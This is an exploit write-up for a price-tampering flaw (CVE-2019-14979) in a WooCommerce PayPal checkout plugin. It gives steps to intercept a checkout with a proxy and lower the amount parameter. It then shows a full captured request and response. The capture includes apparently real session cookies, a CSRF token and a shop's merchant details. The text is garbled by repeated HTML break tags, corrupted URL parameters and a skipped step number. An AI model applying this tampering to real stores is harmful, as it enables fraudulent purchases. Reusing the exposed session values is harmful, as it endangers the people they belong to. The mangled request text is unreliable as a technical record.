# Exploit Title: cgi-bin/webscr?cmd=_cart in the WooCommerce PayPal Checkout Payment Gateway plugin 1.6.17 for WordPress allows Parameter Tampering in an amount parameter (such as amount_1), as demonstrated by purchasing an item for lower than the intended price
# Date: 09.08.2019
# Product Title :Woocommerce Paypal Checkout gateway Plugin
# Vendor Homepage: https://wordpress.org
# Software Link : https://wordpress.org/plugins/woocommerce-gateway-paypal-express-checkout/
# Category: Web Applications Plugin (WordPress)
# Version: 1.6.17
# Active installations: 700,000+
# Exploit Author: Vikas Chaudhary
# Contact: https://gkaim.com/contact-us/
# Web: https://gkaim.com/
# Tested on: Windows 10 -Firefox .
# CVE-2019-14979.
*****************************************************
## VENDOR SUMMARY :- This is a PayPal Checkout Payment Gateway for WooCommerce.
PayPal Checkout allows you to securely sell your products and subscriptions online using In-Context Checkout to help you meet security requirements without causing your theme to suffer. In-Context Checkout uses a modal window, hosted on PayPalís servers, that overlays the checkout form and provides a secure means for your customers to enter their account information
## Vulnerability Description => The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.
This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.
__________________________________
Proof Of Concept:- PoC
1- Install Woocommerce Paypal checkout gateway plugin (1.6.17) in Remote.
2- Now fix a price of any product and configure it with this plguin.
3- Do checkout through paypal and capture the data through burp.
5- Here you will find post based request with amount parameter- Now Edit amount parameter as you want and forward it .
6- You will see a new price and you can purchase that product on your new edited price.
____________________________________
Post REQUEST :-
GET /cgi-bin/webscr?cmd=_cart&business=gkaim100%40gmail.com&no_note=1¤cy_code=INR&charset=utf-8&rm=2&upload=1&return=https%3A%2F%2Fa2zcourse.com%2Fcheckout%2Forder-received%2F938%2F%3Fkey%3Dwc_order_iLugYwiOeNDwM%26utm_nooverride%3D1&cancel_return=https%3A%2F%2Fa2zcourse.com%2Fbasket%2F%3Fcancel_order%3Dtrue%26order%3Dwc_order_iLugYwiOeNDwM%26order_id%3D938%26redirect%26_wpnonce%3D19f528dc9e&page_style=A2Zcourse.com&image_url=&paymentaction=sale&invoice=A2Z-938&custom=%7B%22order_id%22%3A938%2C%22order_key%22%3A%22wc_order_iLugYwiOeNDwM%22%7D¬ify_url=https%3A%2F%2Fa2zcourse.com%2Fwc-api%2FWC_Gateway_Paypal%2F&first_name=A2Z&last_name=course&address1=&address2=&city=&state=&zip=&country=&email=admin%40a2zcourse.com&night_phone_a=&night_phone_b=9999009999&no_shipping=1&tax_cart=0.00&item_name_1=Learn+Ethical+Hacking+From+Scratch&quantity_1=1&amount_1=221&item_number_1=Ethicak+Hacking+from+Scratch&bn=WooThemes_Cart HTTP/1.1<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Host: www.paypal.com<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Accept-Language: en-US,en;q=0.5<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Accept-Encoding: gzip, deflate<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Connection: close<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Referer: https://a2zcourse.com/checkout/<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Cookie: tsrce=xoonboardingnodeweb; ts=vreXpYrS%3D1660031656%26vteXpYrS%3D1565339056%26vr%3D707e521a16c0a898da210f0dfffe3027%26vt%3D755da6fe16c0a1123231f39cfffb7285; cookie_check=yes; X-PP-K=1565255424:5:NA; ts_c=vr%3D707e521a16c0a898da210f0dfffe3027%26vt%3D755da6fe16c0a1123231f39cfffb7285; _ga=GA1.2.247636613.1565255430; _gcl_au=1.1.963113480.1565255430; KHcl0EuY7AKSMgfvHl7J5E7hPtK=L6YYgyRzc3IllUSsc7g3zuKfrttBcMmQcCHV0xJEGMjWOuMaeFDvYHL0tYiR9f7UwEGEQLade59KIhi-; akavpau_ppsd=1565338887~id=d3e8502c16f3db9e4db5b7c96ae11b3b; nsid=s%3ASA87Y4Sgud5qP0voo79-SWn_dzbu8xcZ.V2aOxW2qw2LRL12fV%2BIoIr0aXqexvuQiiUlRC5dTAZo; LANG=en_US%3BNP; x-pp-s=eyJ0IjoiMTU2NTMzNzIxMTg1OSIsImwiOiIwIiwibSI6IjAifQ; x-csrf-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6InlxNnNDYU50Nk5weC14MVpPZWg2anU0dkdpVUx2ZU9tdUZvNUlJdWRFQjF1R0l2SkhWMFVjWkxHOGlYanZkR2J3ZnJWU291Ny1CRWxjSnpMV1RaWlp0UmVNdi1UcjRDMXpuRk94eEltZ2g1ek5LUlh3V3dIOTMyV2NzcURnSFJUR0RBdTBiSXpTQ2I4cDA4bzBlVEkxVXpGYkc4ckc1SjhJbWE2bXhwTEdHQUdtYnlXeUExV0hwS0tfNk8iLCJpYXQiOjE1NjUzMzcyMTEsImV4cCI6MTU2NTM0MDgxMX0.zevorZSasrLypRu6SBNOE-hB6GDBcvtWXEa9vnB2Pz0<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
Upgrade-Insecure-Requests: 1Post RESPONSE:-
HTTP/1.1 302 Moved Temporarily<br /><br /><br /><br /><br /><br /><br /><br /><br />
Server: Apache<br /><br /><br /><br /><br /><br /><br /><br /><br />
X-Recruiting: If you are reading this, maybe you should be working at PayPal instead! Check out https://www.paypal.com/us/webapps/mpp/paypal-jobs<br /><br /><br /><br /><br /><br /><br /><br /><br />
Paypal-Debug-Id: 855be6c72befe<br /><br /><br /><br /><br /><br /><br /><br /><br />
Cache-Control: no-cache<br /><br /><br /><br /><br /><br /><br /><br /><br />
x-content-type-options: nosniff<br /><br /><br /><br /><br /><br /><br /><br /><br />
x-xss-protection: 1; mode=block<br /><br /><br /><br /><br /><br /><br /><br /><br />
x-frame-options: SAMEORIGIN<br /><br /><br /><br /><br /><br /><br /><br /><br />
content-security-policy: default-src ‘self’ https://*.paypal.com; script-src ‘nonce-F0q1vLTiA8nv4uON3Cc5EdCo++8Iyn/6vaGYfPu7oYAUPuk1’ ‘self’ https://*.paypal.com ‘unsafe-inline’ ‘unsafe-eval’; img-src https://*.paypalobjects.com; object-src ‘none’; font-src ‘self’ https://*.paypalobjects.com; form-action ‘self’ https://*.paypal.com; base-uri ‘self’ https://*.paypal.com; block-all-mixed-content; report-uri https://www.paypal.com/csplog/api/log/csp<br /><br /><br /><br /><br /><br /><br /><br /><br />
HTTP_X_PP_AZ_LOCATOR: dcg01.phx<br /><br /><br /><br /><br /><br /><br /><br /><br />
Paypal-Debug-Id: 855be6c72befe<br /><br /><br /><br /><br /><br /><br /><br /><br />
Location: https://www.paypal.com/webapps/hermes?token=2ES72734TE255840F&useraction=commit&rm=2&mfid=1565343483599_855be6c72befe<br /><br /><br /><br /><br /><br /><br /><br /><br />
Cache-Control: max-age=0, no-cache, no-store, must-revalidate<br /><br /><br /><br /><br /><br /><br /><br /><br />
Pragma: no-cache<br /><br /><br /><br /><br /><br /><br /><br /><br />
Content-Type: text/html; charset=utf-8<br /><br /><br /><br /><br /><br /><br /><br /><br />
DC: slc-b-origin-www-1.paypal.com<br /><br /><br /><br /><br /><br /><br /><br /><br />
Content-Length: 302<br /><br /><br /><br /><br /><br /><br /><br /><br />
X-EdgeConnect-MidMile-RTT: 223<br /><br /><br /><br /><br /><br /><br /><br /><br />
X-EdgeConnect-Origin-MEX-Latency: 762<br /><br /><br /><br /><br /><br /><br /><br /><br />
Date: Fri, 09 Aug 2019 09:38:04 GMT<br /><br /><br /><br /><br /><br /><br /><br /><br />
Connection: close<br /><br /><br /><br /><br /><br /><br /><br /><br />
Vary: Accept-Encoding<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: tsrce=xorouternodeweb; Domain=.paypal.com; Path=/; Expires=Mon, 12 Aug 2019 09:38:03 GMT; HttpOnly; Secure<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: ts=vreXpYrS%3D1660014260%26vteXpYrS%3D1565345283%26vr%3D707e521a16c0a898da210f0dfffe3027%26vt%3D75be058c16c0ac03e0697f78ffe31f93; Domain=.paypal.com; Path=/; Expires=Tue, 09 Aug 2022 03:04:20 GMT; HttpOnly; Secure<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: X-PP-SILOVER=name%3DLIVE6.WEB.1%26silo_version%3D880%26app%3Dxorouternodeweb_xclick_aa%26TIME%3D4215164253%26HTTP_X_PP_AZ_LOCATOR%3Ddcg01.phx; Expires=Fri, 09 Aug 2019 10:08:03 GMT; domain=.paypal.com; path=/; Secure; HttpOnly<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: X-PP-SILOVER=; Expires=Thu, 01 Jan 1970 00:00:01 GMT<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: AKDC=slc-b-origin-www-1.paypal.com; expires=Fri, 09-Aug-2019 10:08:04 GMT; path=/; secure<br /><br /><br /><br /><br /><br /><br /><br /><br />
Set-Cookie: akavpau_ppsd=1565344084~id=a9e94e9268d0d10739423dfa86a077e4; Domain=www.paypal.com; Path=/; Secure; HttpOnly<br /><br /><br /><br /><br /><br /><br /><br /><br />
Strict-Transport-Security: max-age=63072000</p><br /><br /><br /><br /><br /><br /><br /><br />
<p>Found. Redirecting to <a href=”https://www.paypal.com/webapps/hermes?token=2ES72734TE255840F&useraction=commit&rm=2&mfid=1565343483599_855be6c72befe”>https://www.paypal.com/webapps/hermes?token=2ES72734TE255840F&useraction=commit&rm=2&mfid=1565343483599_855be6c72befe</a></p><br /><br /><br /><br /><br /><br /><br /><br />
<p>